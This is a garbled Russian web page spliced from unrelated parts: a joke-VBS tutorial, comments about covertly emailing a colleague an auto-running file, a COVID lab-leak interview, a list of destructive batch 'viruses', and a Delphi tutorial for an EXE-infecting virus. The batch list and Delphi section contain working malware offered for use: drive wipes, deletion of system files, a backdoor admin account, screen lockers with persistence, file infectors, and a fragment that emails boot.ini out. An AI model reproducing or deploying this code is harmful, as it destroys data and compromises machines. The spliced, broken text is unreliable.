Как создать неопасный вирус

Здравствуйте! В этом посте (первом) я покажу, как создавать вирус шутку через блокнот. Сразу прошу не бомбить и не писать гневные комменты типа: "Да такого миллион!", "Да что ты знаешь!", "Да пошел ты в жопу!" и т.д. Да, я знаю, что эти "вирусы" создавали давно. Но я к примеру открыл для себя это совсем недавно. Месяца 3 назад.

Ближе к делу: я буду рассказывать что эта шутка вообще делает, буду вставлять скрины и все объяснять. Напомню, это ознакомительный пост! В других постах я буду конкретно писать, как создать такой-то вирус.

Вирус-шутка это программа, которую создают в блокноте. Т.е. пишешь там команды и сохраняешь их определенных форматах. Если все правильно сделано, без ошибок, то вирус-шутка сработает. Кстати, "вирус-шутка" это условное название. В блокноте можно создать и игру, и крестики нолики, часы.

ПРЕДУПРЕЖДЕНИЕ. Перед созданием вируса отключите Анти-Вирус.

1) Создание вируса: Для начала откройте блокнот.


2) В блокноте начинайте писать команду. Для начала скопируйте этот текст туда:

msgbox"Ты не против, если я буду жить у тебя в компе?",32+4,"Вопрос"

msgbox"Ок, ты не против",64,"Я понял"

msgbox"Ок, ты не против",64,"Я понял"

msgbox"Это шутка, это НЕ вирус :) ХАХАХАХА",64,"Я пошутил"

msgbox"Или же нет. ",64,". "

Я НЕ ЖЕЛАЮ ВАМ ЗЛА! ЭТОТ ВИРУС НЕ МОЖЕТ ПРИНЕСТИ ВАМ И ВАШЕМУ КОМПУ ВРЕДА!


3) Сохраните ваш текст в формате .vbs Смотрите далее.




4) Теперь у вас на Рабочем столе должен появиться вот такой значок:


5) Заходите в него.

6) У вас должен открыться вирус-шутка. Если же не работает, то два варианта: либо у вас включен Анти-Вирус, либо ваш комп не поддерживает это.


7) НЕ ПУГАЙТЕСЬ! ВИРУС-ШУТКА НЕ ПРИНЕСЕТ ВРЕДА. Теперь вам осталось читать то, что там написано, и кликать по кнопкам (любым).

Вы можете изменить в команде вируса текст. Например вместо "Windows удалить?" можно написать "ставьте лайки!". Удачи вам, экспериментируйте со своими вирусами!

И так, как я обещал, это был ознакомительный пост. Вскоре я выложу пост, где подробно опишу все значения, как все делать и т.д. Отпишитесь в тапках как вам мой пост, киньте скрины своего вируса. Мне будет интересно :D

сука! у меня винда удалилась!

Не ври. Этот вирус-шутка и близко такого сделать не может.

ТС, у вас тоже снегопад? Занятия в школах отменили?

Да, отменили. Вот и сижу, "клавотюкаюсь".

Мне хочется узнать все подробно как это работает что обозначает msgbox, цифры 64; 32+4

"msgbox" - название команды, которая выводит стандартный диалог. Цифрами выбирается стиль отображения (иконка внутри диалога и воспроизводимый звук при открытии). Также стилем выбираются кнопки (их текст и количество)

Отображаемых иконок всего 4: ошибка, вопрос, восклицание и внимание. Столько-же звуков.
Кнопок в связке по более:
Ок
Ок, Отмена
Да, Нет
Да, Нет, Отмена
Повтор, Отмена
Пропустить, Повторить Отменить

Т.к. эти диалоги выдаются системой, то можно указать только заголовок и текст диалога. Свой текст кнопок или свою иконку Вы не сможете установить. Можно вывести диалог без иконки. Вроде ничего не забыл. Давно увлекался этим, потом перешел на норм. язык программирования.

Ой, а может поможете раз разбираетесь?

Хочу коллегу разыграть/ поздравить с днем рождения. Он в командировке сейчас. Хочу ему на почту файл бросить который в определенный день ему на принтер выведет поздравление. Как можно батник сделать, чтобы он себя в автозагрузку прописал и именно в определенный день сработал? Ну и удалился потом, чтоб он не догадался.

В инете поискал, там только на удаление доков батники) и определенного дня нельзя поставить.

Если хотите именно батник, то можно попробовать использовать планировщик Windows, но с батниками куча ограничений.

О поздравлялке: даже если Вы отправите эл. письмо с батником или exe-шником, то поздравление не сработает, пока его не скачают и не запустят. В некоторых случаях почтовый сервис может отправить письмо в папку "Спам" (пользователь его не увидит), либо при скачивании файл заблокирует антивирус, но это все маловероятно.

На счет печати принтером: это можно, но обязательно? Можно например вывести на экран красивый диалог, или картинку :)

Нет с программкой не тот эффект))) Да и вк нету.

Просто хотелось отправить на почту письмо, (его обязательно откроют, так как с этого адреса только по работе приходит, да и с чувством опасности у людей проблемы))), чтоб этот файл прописался в планировщик или в автозагрузку, а в нужный день отправил бы на печать текст. Там принтер ежедневно включают, так что по-любому бы удивил)))

Я батники когда-то давно делал. Даже похожий прикол видел, когда из планировщика каждый день на печать выходит "Ты умрешь через *** дней", "Ты умрешь завтра", "Это случится сегодня". Но там надо было за компом посидеть, чтоб настроить. А как это "дистанционно" через почту сделать я не знаю.

В любом случае спасибо.

Хм, думаю, что через батник хоть и сложно, но реально: батник запускает установщик Windows (msiexec.exe) с параметром, который скачает и установит программу и документ с текстом печати. Программа прописывается в автозапуск и следит за датой и временем системы. Как только дата начала наступает, программа запускает скрытый процесс Microsoft Office Word (winword.exe) с параметром начала печати нашего документа. Программа делает какую-нибудь отметку на каком-либо ресурсе (сайте или сервере), что она успешно отработала. Запускается msiexec.exe с параметром удаления нашей программы (программа удаляется с компьютера).

Несколько вопросов:
- на компьютере есть MS Office Word? Иначе придется создавать документ формата .rtf (поддерживается системой без доп. софта)
- проще изначально в письме использовать не батник, а именно приложение (exe-файл, т.к. не придется сначала создавать, а после скачивать установщик). Если нужно, то предоставлю исходный код приложения. Язык программирования - AutoIt 3. Его синтаксис очень напоминает рассматриваемые в посте скрипты. Так может лучше обойтись без батника?
- нужны дата запуска печати документа и текст поздравления
- желательно заранее знать, какая операционная система установлена на компьютере, где будет выполняться "поздравлялка" (XP, Vista, 7, 8, 8.1, 10 или серверные редакции систем Windows)?

Конспирологическими версиями коронавирус начал обрастать с первых дней своего появления на свет. Covid-19 заявил о себе в Ухани, а там как раз располагается Уханьский институт вирусологии, где в 2015 году была оборудована первая в материковом Китае лаборатория четвертого - самого высокого уровня биобезопасности (BSL-4). Пазл, как говориться, сложился. Поначалу конспирологи заботливо взращивали версию о том, что коронавирус избирательно поражает представителей монголоидной расы (непонятно зачем нужно было выводить такой вирус китайским вирусологам), но теперь мы на примере России и других стран знаем, что это неправда. Другая популярная теория утверждала, что Covid-19 это бактериологическое оружие. Но затем энтузиасты к этой версии охладели: кому нужно оружие, которое практически безопасно для молодых людей призывного возраста, а угрожает представителям возрастной категории 65+?

Сторонники теории заговора сосредоточились на версии о том, что SARS-CoV-2 (это название вируса, а Civid19 - болезнь, которую вирус вызывает) случайно “сбежал” из лаборатории во время научных экспериментов. Тем более, что вскоре конспирологи получили возможность опереться на научную основу.

В 2015 году в журнале Nature Medicine вышла статья об успешном эксперименте по созданию искусственного коронавируса, который способен поражать легкие человека и практически не лечится. В исследовании участвовали специалисты Университета Северной Каролины ( США ), Института микробиологии Цюриха ( Швейцария ) и Уханьского института вирусологии (Китай). Сторонники теории заговора восприняли эту публикацию, как камин-аут: ученые сами признались, что сконструировали вирус-химеру, который четыре года спустя вырвался на свободу и терроризирует все человечество!

Искусственный вирус генетически далек от коронавируса, который нас заражает

Подробный разбор этой гипотезы на своей странице в “Фейсбуке” и YouTube-канале провел известный популяризатор научного знания, кандидат биологических наук, старший научный сотрудник сектора молекулярной эволюции Института проблем передачи информации РАН Александр Панчин. К нему мы и обратились за комментарием.

- Коронавирус SARS-CoV-2, который вызвал сегодняшнюю пандемию, не может быть “сбежавшим” из Уханьской лаборатории искусственным вирусом сконструированным в 2015 году, - объясняет Александр Панчин. - Это легко доказать, сравнив геномы того и другого вируса. В статье 2015 года подробно описывается, как ученые делали свой вирус. В качестве основы исследователи взяли штамм SARS-CoV MA15 (в природе существует множество разновидностей коронавируса - Ред) и внесли туда ген, который кодирует шиповидный белок другого коронавируса летучей мыши - SHC014-Cov. Шиповидный белок помогает вирусу проникать внутрь клетки, из-за этих шипов - короны, коронавирусы и получили свое название. Получившийся гибрид назвали SHC014-MA15. Если конспирологическая теория верна, то последовательность аминокислот белков искусственного вируса SHC014-MA15 должна совпадать с SARS-CoV-2, который сейчас всех заражает. Но этого не происходит. Я проводил сравнение с помощью компьютерной программы BLAST.

- Что это такое?

- Эта программа чем-то напоминает всем хорошо знакомый контекстный поиск офисной программы Word - ищет совпадения и различия в “буквах” (только в геноме буквами обозначается последовательность аминокислот или нуклеотидов - Ред). Так вот шиповидный белок искусственного вируса, имеет лишь 77.31% сходства с SARS-CoV-2. Это очень большое расхождение. Если мы посмотрим на другие белки - например полипроеин 1аb, то увидим такие же большие различия. Для сравнения разные вариации SARS-CoV-2 имеют между собой сходства от 97.8 до 100%. Что это значит? Это значит, что искусственный вирус эволюционно очень далек от коронавируса, который вызвал пандемию.


Кандидат биологических наук, старший научный сотрудник сектора молекулярной эволюции Института проблем передачи информации РАН Александр Панчин

Какая мутация сделала его таким опасным?

- Но ведь могли быть и другие версии искусственно созданных вирусов, статьи о которых не публиковались. И в качестве деталей конструктора могли использовать вирусы-исходники, которые не так радикально отличались. Существуют ли признаки, по которым точно можно отличить искусственно сконструированный вирус (даже если он более тщательно “склеен”) от мутировавшего естественным путем?

- Cамый близкий родственник SARS-CoV-2 это штамм коронавируса летучих мышей RaTG13 - его шиповидный белок дает 97.41% сходства, а полипротеин 1ab - 98.53% сходства. Он был открыт в 2013 году, сам людей не заражал, и в 2015 году для создания искусственного вируса не использовался. Если мы сравним геном нового человеческого SARS-COV-2 с геномом коронавируса мыши RaTG13 с то опять же не увидим никаких признаков чужеродных вставок. При этом геном SARS-COV-2 все же отличается по всей своей длинне от геномов всех остальных известных коронавирусов, так что пока нет даже кандидата на "исходник", с которым работали бы гипотетические генные инженеры. Мы видим у SARS-CoV-2 признаки эволюции, а не дизайна.

- Какая мутация сделала коронавирус таким опасным?

- Мы не знаем точно, какая именно мутация сделала коронавирус таким заразным для людей. Упомянутый выше коронавирус RaTG13 людей не заражает, промежуточные варианты пока не найдены. Были работы про изучение мутаций в участке, который кодирует шиповидный белок, использующийся вирусом для проникновения в клетки. Вероятно, эти мутации сыграли свою роль, но не факт, что ими все ограничивается.

Зачем нужны вирусы-химеры

- А зачем ученые создавали искусственный вирус? Это выглядит как-то подозрительно…

- Идея таких экспериментов вполне понятна: мы хотим заранее знать какие эпидемии могут нам угрожать и какие меры можно принять? Пытаемся понять, как вирусы могут мутировать? Учимся заранее придумывать лекарства, чтобы их создание занимало не 10 лет, как это обычно бывает в практике клинических исследований новых препаратов, а хотя бы год или полгода. Как раз тут нет ничего подозрительного.

- В зарубежных СМИ приводят косвенные доказательства того, что вирус мог “сбежать” из Уханьской лаборатории: в ноябре 2019 года в самом начале вспышки институт открыл вакансии для вирусологов для работы с коронавирусом летучих мышей. Называют имя пропавшей аспирантки лаборатории, которая гипотетически могла быть тем самым “нулевым” пациентом, который вынес вирус наружу…

- То, что в Уханьском институте были специалисты, которые работали с коронавирусами из летучих мышей, никогда не скрывалось, это общеизвестный факт. Коронавирусы уже перескакивали от летучих мышей к людям, как было в случае атипичной пневмонии. Та же статья в Nature Medicine 2015 года была ровно про то, что такое перескакивание может случиться снова. Поэтому странно приводить это, как довод в пользу конспирологической теории. Заявление о том, что кому-то известен нулевой пациент вызывает у меня большие сомнения. Такое очень сложно выяснить. Я бы даже сказал, что абсолютно не решен вопрос о том, действительно ли все началось именно в Ухане ? Мы даже не знаем напрямую ли люди получили коронавирус от летучих мышей или с переходом от каких-то других млекопитающих (как вариант рассматривают панголинов). Потребуется немало времени, чтобы выяснить, как именно произошло первое заражение. Выстраивать на этой почве какие-то теории просто абсурдно.

ЧИТАЙТЕ ТАКЖЕ

Ученый объяснил, почему коронавирусом придется переболеть большинству жителей планеты



Простенькие вирусы:
Убирает рабочий стол
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Выключается компьютер
@echo off
shutdown -s -t 1 -c "lol" >nul

Перезагрузка компьютера
@echo off
shutdown -r -t 1 -c "lol" >nul

Запрещает запускать программы
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul

Удаление дров
@echo off
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul

Удаляет звуки Windows
@echo off
del "%SystemRoot%\Media" /q >nul

Запрещает заходить в панель управления
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши
del "%SystemRoot%Cursors*.*" >nul

Меняет название корзины
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q

Удаляет все файлы в program files
del c:Program Files/q

Убивает процесс explorer.exe
taskkill /f /im explorer.exe >nul

Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul

Удаляет команду DEL
del %0

Будет открывать бесконечно Paint
:x
Start mspaint
goto x

Изменяет расширение всех ярлыков на .txt
assoc .lnk=.txt

Заражает Autoexec
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
@echo off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y

сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer

Меняет местами кнопки мыши,но обратная смена не возможна)
rundll32 user,SwapMouseButton

Удаляет ядро системы
del %systemroot%\system32\HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb" c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Вирус заражает *.JPG в текущем каталоге
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb" c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:
У вашего ламера будет глючить компьютер.
@echo off
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs

echo s.run "shutdown -r -t 0 -c ""pcforumhack.ru™"" -f",1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус.
title Внимание.
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO @echo off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if "%choise%" == "101" goto gold
if "%choise%" == "200393" goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end

Добавляет программу в автозагрузку ОС
copy ""%0"" "%SystemRoot%\system32\File.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.
@Echo off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD


@echo off
chcp 1251
echo щаска.
color 4
@echo Вас собирается

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.

HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:

MZТело злобного вируса
MZКод программы

Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:

MZтело злобного вируса
XORed часть ориг. проги
Неизменная часть ориг. проги

В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.

Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;

Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.

Объяви теперь для своего могучего мозга следующие переменные и константы:

VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;

Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);

Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.

Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:

result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;

//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;

Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂

Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.

AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile

Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало

ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено

BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла

BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл

SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле

CloseFile - _lclose и CloseHandle - закрывает открытый
файл

Erase - DeleteFile - удаление файла

FindFirst - FindFirstFile - поиск файла по критериям

FindNext - FindNextFile - поиск следующего файла

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.